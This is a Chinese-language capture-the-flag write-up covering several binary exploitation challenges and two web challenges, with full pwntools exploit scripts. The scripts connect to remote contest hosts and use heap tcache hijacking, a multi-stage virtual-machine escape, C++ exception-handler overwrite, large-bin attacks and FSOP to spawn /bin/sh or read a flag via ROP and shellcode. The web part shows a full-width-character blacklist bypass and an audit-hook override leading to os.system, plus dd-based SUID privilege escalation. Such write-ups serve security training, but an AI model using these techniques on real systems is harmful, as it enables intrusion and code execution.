PWN

chat_with_me

程序存在任意地址 free ,并且可以泄漏堆、栈信息,通过申请大量 message 可以将存储 message 数组的 chunk 大于 0x410。随后利用任意地址 free 掉 message 数组,这样 message 数组头就会携带上 libc 信息,因此可以通过使用 show 功能泄漏 libc 地址。

利用任意地址 free 在 IO 缓冲区处构造 tcache hijacking ,首先在IO 缓冲区构造 size 为 0x31 的 chunk ,并将其 free 掉,随后修改该 chunk 的 size 为 0x101 同时劫持 tcache->next。下次输入的时候将该 chunk 拿出,随后其会被释放到 0x101 的tcache 中,此时 0x31 的 tcache 即为我们劫持的地址,最后一次输入的时候构造 ROP 链即可。

远程环境和本地环境堆布局略有差异,需要使用一些侧信道的方法泄漏出其对应的偏移,比如根据堆的布局进行 chunk 进行 free ,观测程序是否崩溃。

#!/usr/bin/env python3
# -*- coding:utf-8 -*-

from pwn import *
context.clear(arch='amd64', os='linux', log_level='debug')

sh = remote('47.93.15.136', 34850)

def add():
    sh.sendlineafter(b'Choice > ', b'1')

def show(index):
    sh.sendlineafter(b'Choice > ', b'2')
    sh.sendlineafter(b'Index > ', str(index).encode())
    sh.recvuntil(b'Content: [')
    result = sh.recvuntil(b']', drop=True)
    memory = b''
    for item in result.split(b','):
        memory += p8(int(item, 10))
    return memory

def edit(index, content):
    sh.sendlineafter(b'Choice > ', b'3')
    sh.sendlineafter(b'Index > ', str(index).encode())
    sh.sendafter(b'Content > ', content)
    sh.recvuntil(b'Content: [')
    result = sh.recvuntil(b']', drop=True)
    memory = b''
    for item in result.split(b','):
        memory += p8(int(item, 10))
    return memory

def delete(index):
    sh.sendlineafter(b'Choice > ', b'4')
    sh.sendlineafter(b'Index > ', str(index).encode())

add()
mem = show(0)

# heap_addr = u64(mem[0x8:0x10]) - 0x2bb0 # Local
heap_addr = u64(mem[0x8:0x10]) - 0x2960 # Remote

success('heap_addr: ' + hex(heap_addr))
stack_addr = u64(mem[0x20:0x28])
success('stack_addr: ' + hex(stack_addr))

for i in range(0x80):
    add() #index 1 ~ 0x80

# edit(0, cyclic(0x20) + p64(heap_addr + 0x2bd0)) # Local
edit(0, cyclic(0x20) + p64(heap_addr + 0x2980)) # Remote

add() # index 0x81
mem = show(1)
libc_addr = u64(mem[0x20:0x28]) - 0x203b30
success('libc_addr: ' + hex(libc_addr))

# edit(0x80, cyclic(0x20) + p64(heap_addr + 0xb90 + 0x40) + p64(0x31)) # Local
edit(0x80, cyclic(0x20) + p64(heap_addr + 0x910 + 0x40) + p64(0x31)) # Remote

edit(0x80, cyclic(0x20) + p64(0) + p64(0x101) + p64(((heap_addr) >> 12) ^ (stack_addr-0xd8)))
sh.sendline(b'0' * 0x20 + b'1')

sh.sendline(flat(
[
    0,
    libc_addr + 0x000000000010f75b, # pop rdi
    libc_addr + 0x1cb42f, # "/bin/sh"
    libc_addr + 0x582c0 + 2, # do_system
]))

sh.interactive()

prpr

通过注册一系列printf处理函数来实现了一个虚拟机

其中虚拟机指令片段在0x3140处

写了一个脚本对指令进行翻译

#coding:utf8
from pwn import *

context(arch='i386')

map = {
  'O':'release',
  'A':'add',
  'C':'and',
  'D':'mem[offset] &= pop()',
  'E':'or',
  'F':'mem[offset] |= pop()',
  'G':'xor',
  'H':'mem[offset] ^= pop()',
  'i':'mul',
  'J':'shl',
  'K':'shr',
  'r':'greater',
  'M':'eq',
  'N':'jmp',
  'S':'jnz',
  'T':'jz',
  'U':'push',
  'V':'load',
  'k':'push_r',
  'X':'store',
  'Y':'pop_r',
  'y':'print pop()',
  'a':'push getint()',
  'b':'print mem[pop()]',
  'c':'read mem[pop()]',
  'f':'dec sp',
  'g':'call',
  'n':'return',
  'x':'exit_'
}

f = open('prpr','rb')
content = f.read()
f.close()

code = content[0x3140:0x3140+250*12]
no_args = ['exit_','return','dec sp','push getint()','add','print pop()','print mem[pop()]','mul','read mem[pop()]','and','xor','or',
           'mem[offset] ^= pop()','mem[offset] |= pop()','mem[offset] &= pop()','greater']

for i in range(250):
   opcode = code[i*12+1]
   dont_change_sp = False
   if opcode == '#':
      opcode = code[i*12+2]
      dont_change_sp = True
   op_str = opcode
   if opcode == 'V':
      if dont_change_sp:
         op_str = str(i) + ' ' + '*sp = mem[*sp]'
      else:
         op_str = str(i) + ' ' + 'push mem[%d]' % ord(code[i*12+8])

   elif opcode == 'X':
      if dont_change_sp:
         op_str = str(i) + ' ' + 'mem[pop()]=pop()'
      else:
         op_str = str(i) + ' ' + 'mem[%d]=pop()' % ord(code[i*12+8])
   elif opcode in map:
      op_str = str(i) + ' ' + map[opcode]
      if map[opcode] not in no_args:
         if not op_str.endswith("_r"):
            op_str += ' '
         op_str += str(ord(code[i*12+8]))
   else:
      op_str = opcode
   print op_str

翻译后得到的内容如下

0 exit_
1 push getint()
2 pop_r1
3 push 255
4 push_r1
5 greater
6 jnz 0
7 push_r1
8 push 0
9 greater
10 jnz 0
11 push getint()
12 pop_r2
13 push 63
14 push_r2
15 greater
16 jnz 0
17 push_r2
18 push 0
19 greater
20 jnz 0
21 push_r2
22 push 4
23 mul
24 read mem[pop()]
25 push_r1
26 mem[offset] &= pop()
27 push_r2
28 push 4
29 mul
30 print mem[pop()]
31 return
32 push getint()
33 pop_r3
34 push getint()
35 pop_r4
36 push 63
37 push_r4
38 greater
39 jnz 0
40 push_r4
41 push 0
42 greater
43 jnz 0
44 push 0
45 pop_r5
46 push_r4
47 push_r5
48 greater
49 jnz 59
50 call 60
51 push_r3
52 and
53 print pop()
54 push_r5
55 push 1
56 add
57 pop_r5
58 jmp 46
59 return
60 push getint()
61 push_r5
62 mem[pop()]=pop()
63 push_r5
64 *sp = mem[*sp]
65 push 255
66 eq 0
67 jnz 0
68 push_r5
69 *sp = mem[*sp]
70 return
71 push getint()
72 pop_r0
73 push 1
74 push_r0
75 eq 0
76 jz 79
77 call 1
78 jmp 71
79 push 2
80 push_r0
81 eq 0
82 jz 85
83 call 32
84 jmp 71
85 push 3
86 push_r0
87 eq 0
88 jz 91
89 call 110
90 jmp 71
91 push 4
92 push_r0
93 eq 0
94 jz 97
95 call 141
96 jmp 71
97 push 5
98 push_r0
99 eq 0
100 jz 103
101 call 178
102 jmp 71
103 push 6
104 push_r0
105 eq 0
106 jz 109
107 call 209
108 jmp 71
109 exit_
110 push getint()
111 pop_r1
112 push 255
113 push_r1
114 greater
115 jnz 0
116 push_r1
117 push 0
118 greater
119 jnz 0
120 push getint()
121 pop_r2
122 push 63
123 push_r2
124 greater
125 jnz 0
126 push_r2
127 push 0
128 greater
129 jnz 0
130 push_r2
131 push 4
132 mul
133 read mem[pop()]
134 push_r1
135 mem[offset] ^= pop()
136 push_r2
137 push 4
138 mul
139 print mem[pop()]
140 return
141 push getint()
142 pop_r3
143 push getint()
144 pop_r4
145 push 62
146 push_r4
147 greater
148 jnz 0
149 push_r4
150 push 0
151 greater
152 jnz 0
153 push 0
154 pop_r5
155 push_r4
156 push_r5
157 greater
158 jnz 177
159 call 60
160 push_r3
161 xor
162 push_r5
163 mem[pop()]=pop()
164 push_r5
165 *sp = mem[*sp]
166 push 255
167 eq 0
168 jnz 0
169 push_r5
170 *sp = mem[*sp]
171 print pop()
172 push_r5
173 push 1
174 add
175 pop_r5
176 jmp 155
177 return
178 push getint()
179 pop_r1
180 push 255
181 push_r1
182 greater
183 jnz 0
184 push_r1
185 push 0
186 greater
187 jnz 0
188 push getint()
189 pop_r2
190 push 63
191 push_r2
192 greater
193 jnz 0
194 push_r2
195 push 0
196 greater
197 jnz 0
198 push_r2
199 push 4
200 mul
201 read mem[pop()]
202 push_r1
203 mem[offset] |= pop()
204 push_r2
205 push 4
206 mul
207 print mem[pop()]
208 return
209 push getint()
210 pop_r3
211 push getint()
212 pop_r4
213 push 63
214 push_r4
215 greater
216 jnz 0
217 push_r4
218 push 0
219 greater
220 jnz 0
221 push 0
222 pop_r5
223 push_r4
224 push_r5
225 greater
226 jnz 245
227 call 60
228 push_r3
229 or
230 push_r5
231 mem[pop()]=pop()
232 push_r5
233 *sp = mem[*sp]
234 push 255
235 eq 0
236 jnz 0
237 push_r5
238 *sp = mem[*sp]
239 print pop()
240 push_r5
241 push 1
242 add
243 pop_r5
244 jmp 223
245 return
246 exit_
247 exit_
248 exit_
249 exit_

功能有6个,功能1 输入数据到global->memory[mem_idx],并对数据跟输入的一个char数据进行与运算,与运算调用了函数

功能2依次输入数据,并与输入的一个int数据进行与运算。功能3、5与1类似,分别为异或、或运算,功能4、6与2类似,分别为依次的异或、或运算。

漏洞在于mem_and、mem_xor、mem_or这三个函数循环的终止条件不正确。如果字符串没有被\0截断,则循环将继续进行,进而覆盖后面的数据

其中memory结构体如下

数据区大小为0x100,继续向下可以覆盖return_addr,这个return_addr在返回时会用到,即有机会控制pc指针

我们准备利用xor来覆盖,首先从指令中的push 63 push_r2 greater可以知道size限制为64*4 = 0x100

110 push getint()
111 pop_r1
112 push 255
113 push_r1
114 greater
115 jnz 0
116 push_r1
117 push 0
118 greater
119 jnz 0
120 push getint()
121 pop_r2
122 push 63
123 push_r2
124 greater
125 jnz 0
126 push_r2
127 push 0
128 greater
129 jnz 0
130 push_r2
131 push 4
132 mul
133 read mem[pop()]
134 push_r1
135 mem[offset] ^= pop()
136 push_r2
137 push 4
138 mul
139 print mem[pop()]
140 return

但是这里起始的位置实际上是向前挪了4字节,因此memory的buf里只有0~252字节有数据,最后4字节为0,导致循环不能继续

但是注意到功能4的依次异或可以写252~256字节的数据,这里用的mem就没有向前偏移4字节

141 push getint()
142 pop_r3
143 push getint()
144 pop_r4
145 push 62
146 push_r4
147 greater
148 jnz 0
149 push_r4
150 push 0
151 greater
152 jnz 0
153 push 0
154 pop_r5
155 push_r4
156 push_r5
157 greater
158 jnz 177
159 call 60
160 push_r3
161 xor
162 push_r5
163 mem[pop()]=pop()
164 push_r5
165 *sp = mem[*sp]
166 push 255
167 eq 0
168 jnz 0
169 push_r5
170 *sp = mem[*sp]
171 print pop()
172 push_r5
173 push 1
174 add
175 pop_r5
176 jmp 155
177 return

因此可以先调用功能4把memory的buf填满,然后调用功能3触发循环未截断的漏洞去覆盖return_addr。可以将return_addr覆盖为50,因此50这里是call 60函数调用,上下文中,r5此时为0x40。不直接覆盖return_addr为60,因为return会使得mem_idx--,call会使得mem_idx++,我们需要确保mem_idx不超出检查范围

50 call 60
51 push_r3
52 and
53 print pop()
54 push_r5
55 push 1
56 add
57 pop_r5
58 jmp 46
59 return
60 push getint()
61 push_r5
62 mem[pop()]=pop()
63 push_r5
64 *sp = mem[*sp]
65 push 255
66 eq 0
67 jnz 0
68 push_r5
69 *sp = mem[*sp]
70 return

当执行60 push getint() ``61 push_r5 ``62 mem[pop()]=pop()时,可以输入一个任意数据,由于r5为0x40,则可以将return_addr覆盖为任意数据,因此实现了pc任意可控。

将pc偏移指向可控区,并伪造一系列虚拟机指令结构体,先泄漏堆地址和ELF地址

code = b'a'*0x8
#set mem_idx = 0
code += call(int(-0x65cc/12+1)) #mem_idx++
#leak code heap addr
code += push(-0x10c4//4) + load_into_stack()
code += print_sp_value()
code += push(-0x10c4//4+1) + load_into_stack()
code += print_sp_value()

#leak elf_base
if LOCAL:
   print_mem_ptr_off = -0x19D4 #local
else:
   print_mem_ptr_off = -0x15C4 #remote

code += push(print_mem_ptr_off//4) + load_into_stack()
code += print_sp_value()
code += push(print_mem_ptr_off//4+1) + load_into_stack()
code += print_sp_value()

code += input_sp()
#leak free_got address
code += input_sp()
code += load_into_stack()
code += print_sp_value()

#read stage2 code into mem[0] and exec
code += push(0xec) + read_mem()
code += jmp(int(-0x65cc/12+3))

然后继续调用了read_mem()读入第二阶段的虚拟机指令,因为大小不够,分段读入执行。

第二阶段把ROP事先读入到一个新的memory中后续使用,然后通过改写regs指针并结合push_r实现任意地址读。

#stage 2

code = b'a'*0x8
code += push(0xfc) + read_mem()
code += retn()
#stage2 start
code += input_sp()
code += load_into_stack()
code += print_sp_value()
code += call(int(-0x65cc/12)) #read rop into mem[1]

code += input_sp()
code += push(-0x10b4//4) + store_into_mem()
code += input_sp()
code += push(-0x10b4//4+1) + store_into_mem()
code += push_r(0) #leak stack_addr
code += print_sp_value()
'''code += push_r(1) #leak stack_addr
code += print_sp_value()
'''

#read stage3 code into mem[0] and exec
code += push(0xd4) + read_mem()
code += jmp(int(-0x65cc/12))


code = code.ljust(0xec,b'a')
sh.sendline(code)

利用任意地址读泄漏environ的值得到栈地址,然后第三阶段利用pop_r进行任意地址写改写栈,pop rsp ; ret到到我们布置的ROP中执行。

#stage 3
code = b'a'*0x8 + push_r(1) #leak stack_addr high
code += print_sp_value()
#set regs ptr
code += input_sp()
code += push(-0x10b4//4) + store_into_mem()
code += input_sp()
code += push(-0x10b4//4+1) + store_into_mem()
#edit pop_r's return address
code += push(rop_addr & 0xffffffff)
code += pop_r(2)
code += push(rop_addr >> 32)
code += pop_r(3)
code += push(pop_rsp & 0xffffffff)
code += pop_r(0)
code += push(pop_rsp >> 32)
code += pop_r(1)
code += jmp(1000)

完整的EXP如下

#coding:utf8
from pwn import *

context.log_level = 'debug'
LOCAL = False

elf = ELF('./prpr')

if LOCAL:
   sh = process('./prpr')
   libc = ELF('./libc-2.39.so')
   #sh = process('./prpr',env={'LD_PRELOAD':'./hook_printf.so'})
else:
   sh = remote('8.147.129.74',38943)
   libc = ELF('./libc-2.39.so')


def and_content(and_key,size,content):
   sh.sendline('1')
   sh.sendline(str(and_key))
   sh.sendline('%d' % (size / 4))
   sh.send(content)

def and_content_seq(and_key,size,content):
   sh.sendline('2')
   sh.sendline(str(and_key))
   sh.sendline('%d' % (size // 4))
   for i in range(size//4+1):
      sh.sendline(str(ord(content[i])))

def xor_content(xor_key,size,content):
   sh.sendline('3')
   sh.sendline(str(xor_key))
   sh.sendline('%d' % (size / 4))
   sh.send(content)

def xor_content_seq(xor_key,size,content):
   sh.sendline('4')
   sh.sendline(str(xor_key))
   sh.sendline('%d' % (size // 4))
   for i in range(size//4+1):
      sh.sendline(str(ord(content[i])))

def or_content(or_key,size,content):
   sh.sendline('5')
   sh.sendline(str(or_key))
   sh.sendline('%d' % (size / 4))
   sh.send(content)

def or_content_seq(or_key,size,data):
   sh.sendline('6')
   sh.sendline(str(or_key))
   sh.sendline('%d' % (size // 4))
   for i in range(size//4+1):
      sh.sendline(data)

def push(x):
   if x < 0:
      x = x + 0x100000000
   return b'%U'.ljust(8,b'\x00') + p32(x)

def load_into_stack():
   return b'%#V'.ljust(8,b'\x00') + p32(0)
def store_into_mem():
   return b'%#X'.ljust(8,b'\x00') + p32(0)

def print_sp_value():
   return b'%y'.ljust(8,b'\x00') + p32(0)

def call(x):
   if x < 0:
      x = x + 0x100000000
   return b'%g'.ljust(8,b'\x00') + p32(x)

def jmp(x):
   if x < 0:
      x = x + 0x100000000
   return b'%N'.ljust(8,b'\x00') + p32(x)

def input_sp():
   return b'%a'.ljust(8,b'\x00') + p32(0)

def read_mem():
   return b'%c'.ljust(8,b'\x00') + p32(0)


def print_mem():
   return b'%b'.ljust(8,b'\x00') + p32(0)

def retn():
   return b'%n'.ljust(8,b'\x00') + p32(0)

def push_r(idx):
   return b'%k'.ljust(8,b'\x00') + p32(idx)

def pop_r(idx):
   return b'%Y'.ljust(8,b'\x00') + p32(idx)


code = b'a'*0x8
#set mem_idx = 0
code += call(int(-0x65cc/12+1)) #mem_idx++
#leak code heap addr
code += push(-0x10c4//4) + load_into_stack()
code += print_sp_value()
code += push(-0x10c4//4+1) + load_into_stack()
code += print_sp_value()

#leak elf_base
if LOCAL:
   print_mem_ptr_off = -0x19D4 #local
else:
   print_mem_ptr_off = -0x15C4 #remote

code += push(print_mem_ptr_off//4) + load_into_stack()
code += print_sp_value()
code += push(print_mem_ptr_off//4+1) + load_into_stack()
code += print_sp_value()

code += input_sp()
#leak free_got address
code += input_sp()
code += load_into_stack()
code += print_sp_value()

#read stage2 code into mem[0] and exec
code += push(0xec) + read_mem()
code += jmp(int(-0x65cc/12+3))

code = code.ljust(0xfc,b'a')

payload = b''
for x in code:
   payload += p8(x ^ 0x68)

sh.recvuntil('___')
or_content_seq(0xfe,0xfc,'-1')
#return to 50
xor_content(0x68,0xfc,payload)
#move pc to run our code
#raw_input()
sh.sendline(str(-0x65cc/12))
sh.recvuntil('aaaaaaaa%g\n')
heap_addr = (int(sh.recvuntil('\n',drop = True)) & 0xffffffff) | ((int(sh.recvuntil('\n',drop = True)) & 0xffffffff) << 32)
elf_base = ((int(sh.recvuntil('\n',drop = True)) & 0xffffffff) | ((int(sh.recvuntil('\n',drop = True)) & 0xffffffff) << 32)) - 0x2750
free_got_addr = elf_base + elf.got['free']
memory_base = heap_addr - 0x65CC
print('heap_addr=',hex(heap_addr))
print('memory_base=',hex(memory_base))
print('elf_base=',hex(elf_base))
#raw_input()
sh.sendline(str((free_got_addr - memory_base)//4))
free_addr_low = int(sh.recvuntil('\n',drop = True)) & 0xffffffff
print('free_addr_low=',hex(free_addr_low))

#stage 2

code = b'a'*0x8
code += push(0xfc) + read_mem()
code += retn()
#stage2 start
code += input_sp()
code += load_into_stack()
code += print_sp_value()
code += call(int(-0x65cc/12)) #read rop into mem[1]

code += input_sp()
code += push(-0x10b4//4) + store_into_mem()
code += input_sp()
code += push(-0x10b4//4+1) + store_into_mem()
code += push_r(0) #leak stack_addr
code += print_sp_value()
'''code += push_r(1) #leak stack_addr
code += print_sp_value()
'''

#read stage3 code into mem[0] and exec
code += push(0xd4) + read_mem()
code += jmp(int(-0x65cc/12))


code = code.ljust(0xec,b'a')
sh.sendline(code)

#sleep(1)
raw_input()
sh.sendline(str((free_got_addr - memory_base)//4+1))
free_addr = free_addr_low | ((int(sh.recvuntil('\n',drop = True)) & 0xffffffff) << 32)
libc_base = free_addr - libc.sym['free']
open_addr = libc_base + libc.sym['open']
read_addr = libc_base + libc.sym['read']
write_addr = libc_base + libc.sym['write']
gets_addr = libc_base + libc.sym['gets']
puts_addr = libc_base + libc.sym['puts']
environ_addr = libc_base + libc.sym['environ']

syscall = libc_base + 0x11BA5F
pop_rax = libc_base + 0x00000000000dd237
pop_rsp = libc_base + 0x000000000003c058
pop_rdi = libc_base + 0x000000000010f75b
#pop rsi ; add eax, 0x2685c ; ret
pop_rsi = libc_base + 0x00000000001afc86
mov_edx = libc_base + 0x00000000000f9de8

print('free_addr=',hex(free_addr))
print('libc_base=',hex(libc_base))

#rop
rop_addr = heap_addr - 0x64c8
flag_addr = heap_addr - 0x6440 + 8

rop = p64(pop_rdi) + p64(flag_addr) + p64(pop_rsi) + p64(0) + p64(pop_rax) + p64(2) + p64(syscall)
rop += p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(flag_addr) + p64(mov_edx) + p64(read_addr)
rop += p64(pop_rdi) + p64(1) + p64(pop_rsi) + p64(flag_addr) + p64(write_addr)
rop += b'./flag\x00'
sh.sendline(rop)

print('edit regs ptr')
raw_input()

def pack_int(x):
   if x & 0x80000000 != 0:
      x -= 0x100000000
   return str(x)

sh.sendline(pack_int(environ_addr & 0xffffffff))
sh.sendline(pack_int(environ_addr >> 32))

#leak stack address
stack_addr_low = (int(sh.recvuntil('\n',drop = True)) & 0xffffffff)

#stage 3
code = b'a'*0x8 + push_r(1) #leak stack_addr high
code += print_sp_value()
#set regs ptr
code += input_sp()
code += push(-0x10b4//4) + store_into_mem()
code += input_sp()
code += push(-0x10b4//4+1) + store_into_mem()
#edit pop_r's return address
code += push(rop_addr & 0xffffffff)
code += pop_r(2)
code += push(rop_addr >> 32)
code += pop_r(3)
code += push(pop_rsp & 0xffffffff)
code += pop_r(0)
code += push(pop_rsp >> 32)
code += pop_r(1)
code += jmp(1000)


#code += push_r(0) #leak stack_addr
#code += print_sp_value()

code = code.ljust(0xd4,b'a')
sh.sendline(code)

stack_addr = stack_addr_low | ((int(sh.recvuntil('\n',drop = True)) & 0xffffffff) << 32)
print('stack_addr=',hex(stack_addr))
raw_input()
if LOCAL:
   run_func_return_stack = stack_addr - 0x2610
else:
   run_func_return_stack = stack_addr - 0x2610

sh.sendline(pack_int(run_func_return_stack & 0xffffffff))
sh.sendline(pack_int(run_func_return_stack >> 32))

sh.interactive()

expect_number

根据题目逻辑逆向出结构体

结构体应用以后,发现在init_array初始化函数中也有引用到

发现是注册了一个函数表,函数在退出的时候会被调用

由于这个函数表指针在game_obj对象内部,显然这是因为pos的边界判断错误导致game_obj对象的溢出

可以通过game中的运算改写那个函数表。可以改为0x4C60的函数表

这里有一个栈溢出

函数中使用了C++异常处理,可以把异常处理函数地址覆盖为其他具有异常处理的函数地址,发现getInt输入函数中存在一个异常处理,且直接为一个backdoor的调用

img

可以把异常处理函数地址覆盖为elf_base + 0x251A,触发异常即可getshell。

from pwn import *
from struct import pack
from ctypes import *
import base64
from subprocess import run
#from LibcSearcher import *
from struct import pack
import tty

def debug(c = 0):
    if(c):
        gdb.attach(p, c)
    else:
        gdb.attach(p)
        pause()
def get_sb() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
#-----------------------------------------------------------------------------------------
s = lambda data : p.send(data)
sa  = lambda text,data  :p.sendafter(text, data)
sl  = lambda data   :p.sendline(data)
sla = lambda text,data  :p.sendlineafter(text, data)
r   = lambda num=4096   :p.recv(num)
rl  = lambda text   :p.recvuntil(text)
pr = lambda num=4096 :print(p.recv(num))
inter   = lambda        :p.interactive()
l32 = lambda    :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
l64 = lambda    :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu32    = lambda    :u32(p.recv(4).ljust(4,b'\x00'))
uu64    = lambda    :u64(p.recv(6).ljust(8,b'\x00'))
int16   = lambda data   :int(data,16)
lg= lambda s, num   :p.success('%s -> 0x%x' % (s, num))
#-----------------------------------------------------------------------------------------

context(os='linux', arch='amd64', log_level='debug')
p = remote('123.56.219.14',34917)
#p = process('./expect_number')
elf = ELF('./expect_number')
#libc = ELF('./libc.so.6')

def game(num):
        sla(b'choice \n', b'1')
        sla(b'or 0\n', str(num))    

def show():
        sla(b'choice \n', b'2')

def soce(idx, num, result):
        if(idx == 1):
                return result + num
        elif(idx == 2):
                return result - num
        elif(idx == 3):
                return result * num
        else:
                return result // num

libc = cdll.LoadLibrary('/lib/x86_64-linux-gnu/libc.so.6')
libc.srand(1)

result = 0

for i in range(0x19):
        idx = libc.rand()%4 + 1
        if(idx == 1):
                game(2)
                result += 2
        if(idx == 2):
                game(0)
        if(idx == 3):
                game(2)
                result *= 2
        if(idx == 4):
                game(1)

#sla(b'choice \n', b'3')
                
print('result', result)

for i in range(0x114 - 0x19):
        idx = libc.rand()%4 + 1
        if(idx == 1):
                if(result < 0x60):
                        if(result + 2 <= 0x60):
                                game(2)
                                result += 2
                        else:
                                game(1)
                                result += 1
                else:
                        game(0) 
        if(idx == 2):
                game(0)
        if(idx == 3):
                game(1)
        if(idx == 4):
                game(1)

#debug('b *$rebase(0x29e2)')

sla(b'choice \n', b'4')
sla(b'Tell me your favorite number.\n','a'*0x2)
show()
rl('120101220021211222221210211111011101021100012012110112201120000100100001101110111001001111000010111111111001000000100001001001010110001011100100111001000110110110000100100110111010010011101100101011000011011001000000011111000101110110011001101110011100011000011000110010000111')
elf_base = u64(rl('\n').strip().ljust(8,b'\x00')) - 0x4c60
bss = elf_base + 0x5800
print('elf_base=',hex(elf_base))

sla(b'choice \n', b'4')
sla(b'Tell me your favorite number.\n',b'a'*0x20 + p64(bss) + p64(elf_base + 0x251A))

#pr()
inter()

baby_heap

5 个堆块刚好打 larger bin attack,修改 _IO_list_all 为堆地址,但是由于 _IO_wfile_jumps 表中是空的,所以使用 _IO_wfile_jumps_maybe_mmap 表来执行 _IO_wfile_overflow 函数,最后利用 openat2 orw

from pwn import *
from struct import pack
from ctypes import *
import base64
from subprocess import run
#from LibcSearcher import *
from struct import pack
import tty

def debug(c = 0):
    if(c):
        gdb.attach(p, c)
    else:
        gdb.attach(p)
        pause()
def get_sb() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
#-----------------------------------------------------------------------------------------
s = lambda data : p.send(data)
sa  = lambda text,data  :p.sendafter(text, data)
sl  = lambda data   :p.sendline(data)
sla = lambda text,data  :p.sendlineafter(text, data)
r   = lambda num=4096   :p.recv(num)
rl  = lambda text   :p.recvuntil(text)
pr = lambda num=4096 :print(p.recv(num))
inter   = lambda        :p.interactive()
l32 = lambda    :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
l64 = lambda    :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu32    = lambda    :u32(p.recv(4).ljust(4,b'\x00'))
uu64    = lambda    :u64(p.recv(6).ljust(8,b'\x00'))
int16   = lambda data   :int(data,16)
lg= lambda s, num   :p.success('%s -> 0x%x' % (s, num))
#-----------------------------------------------------------------------------------------

context(os='linux', arch='amd64', log_level='debug')
#p = remote('122.9.149.82', 9999)
p = process('./pwn')
elf = ELF('./pwn')
libc = ELF('./libc-2.35.so')

def add(size):
  sla('choice: \n', str(1))
  sla('size \n', str(size))
def delete(idx):
  sla('choice: \n', str(2))
  sla('delete: \n', str(idx))
def edit(idx, data):
  sla('choice: \n', str(3))
  sla('edit: \n', str(idx))
  sa(b'content', data)
def show(idx):
  sla('choice: \n', str(4))
  sla('show: \n', str(idx))
def eenv(idx):
  sla('choice: \n', str(5))
  sla('sad !\n', str(idx))

#debug('b *$rebase(0x1d23)\nb *$rebase(0x1da1)\nb _IO_wdoallocbuf') 

eenv(2)

add(0x520) #index 1
add(0x500) #index 2
add(0x510) #index 3

delete(1)
add(0x568) #index 4
delete(3)

show(1)

rl(b'The content is here \n')
libc_base = u64(r(8)) - 0x21b110
r(8)
heap_base = u64(r(8)) - 0x1950
IO_list_all = libc_base + libc.sym['_IO_list_all']

fake_io_addr = heap_base + 0x1950
io_all = libc_base + libc.sym['_IO_list_all']  
wfile = libc_base + libc.sym['_IO_wfile_jumps']   
_IO_wfile_jumps_maybe_mmap = libc_base + 0x216f40
lock = heap_base + 0x3000

setcontext = libc_base + libc.sym['setcontext'] + 61
leave = libc_base + 0x000000000004da83
ret = libc_base + 0x00000000000467c9
rdi = libc_base + 0x000000000002a3e5
rsi = libc_base + 0x000000000002be51
rdx_r12 = libc_base + 0x000000000011f2e7
rax = libc_base + 0x0000000000045eb0
mprotect = libc_base + libc.sym['mprotect']

pl= p64(0) + p64(0) + p64(0) + p64(IO_list_all-0x20)
pl+=p64(0)*2 + p64(0) + p64(fake_io_addr+0x10)
pl+=p64(0)*4
pl+=p64(0)*3 + p64(lock)
pl+=p64(0)*2 + p64(fake_io_addr+0xe0) + p64(0)
pl+=p64(0)*4
pl+=p64(0) + p64(_IO_wfile_jumps_maybe_mmap) 
pl+=p64(setcontext)
pl+=p64(0)*(0x7 + 0x14 - 8) + p64(heap_base + 0x1b18) + p64(ret) + p64(0)*6 + p64(heap_base + 0x1a30 - 0x68)
pl += p64(rdi) + p64(heap_base >> 12 << 12) + p64(rsi) + p64(0x2000) + p64(rdx_r12) + p64(7)*2 + p64(mprotect) + p64(heap_base + 0x1b60)

pl += asm(f'mov rax, 0x67616c66; push rax; push rsp; pop rsi; mov rdi, -0x64; mov rax, 437; mov rdx, {heap_base + 0x3000}; mov r10, 0x18; syscall;')

pl += asm(shellcraft.read(3, heap_base + 0x3000, 0x100) + shellcraft.write(1, heap_base + 0x3000, 0x100))

edit(1, pl)

add(0x500) #index 5

#sla('choice: \n', str(6))
#sa(b'Input your target addr \n', p64(heap_base + 0x1950))

#s(p64(0))

sla('choice: \n', str(3))


lg('IO_list_all', IO_list_all)
lg('heap_base', heap_base)  
lg('libc_base', libc_base)

while 1 : pr()
pause()

WEB

PyBlockly

下载附件进行审计,可以发现这里会进行一个python的代码执行,然后前面会先拼接hook_code和我们传入的一段代码

这里是调用方法的路由,我们测试发包,然后进入方法。

解析blocks里的blocks的第一组元素。

然后我们需要进入到这里才算可控代码

这里首先进入一个黑名单,然后通过之后就会在下面进行一个unidecoe解码

blacklist_pattern = r"[!\"#$%&'()*+,-./:;<=>?@[\\\]^_`{|}~]"   #过滤的非常多字符,绕过比较难编码或者特殊字符构造很难绕过

这个方法可以用来解析特殊字符和函数,然后可以把全角字符转换为半角正常识别,所以这里可以使用全角字符先绕过黑名单,然后进行解码转为正常代码进行恶意代码执行

构造payload即可。然后可以看到还拼接了一段钩子函数

def my_audit_hook(event_name, arg):
    blacklist = ["popen", "input", "eval", "exec", "compile", "memoryview"]
    if len(event_name) > 4:
        raise RuntimeError("Too Long!")
    for bad in blacklist:
        if bad in event_name:
            raise RuntimeError("No!")

__import__('sys').addaudithook(my_audit_hook)

这里会对我们的恶意代码进行检测,绕过方法也很简单,通过获取builtins​模块,把len函数的返回值替换为固定值,不超过他这个4就行了

{"blocks":{"languageVersion":0,"blocks":[{"type":"text","id":"~PG?ga`45hw$)473HrT8","fields":{"TEXT":"';__import__("builtins").len=lambda x:0;print(__import__("os").system("ls"));'"}}]}}

没权限,查找suid

dd命令提权获取flag

platform

下载附件进行代码审计

可以看到这里有个过滤遍历session文件内的数据然后替换,这是一个黑名单,很明显这给的提示就是RCE

这里我们对session的内容有个可控点,账号密码的内容会被塞进去,然后sessionID我们可知php的生成规则就是sess_ + id,id是可控的,可以我们传入。

在class.php还一个代码执行的点

由此就知道思路就是反序列化字符串逃逸。

带你走进PHP session反序列化漏洞 - 先知社区

本地测试生成的session文件

这里利用session_key进行逃逸,这个session_key是随机生成长度的,所以需要多跑几次

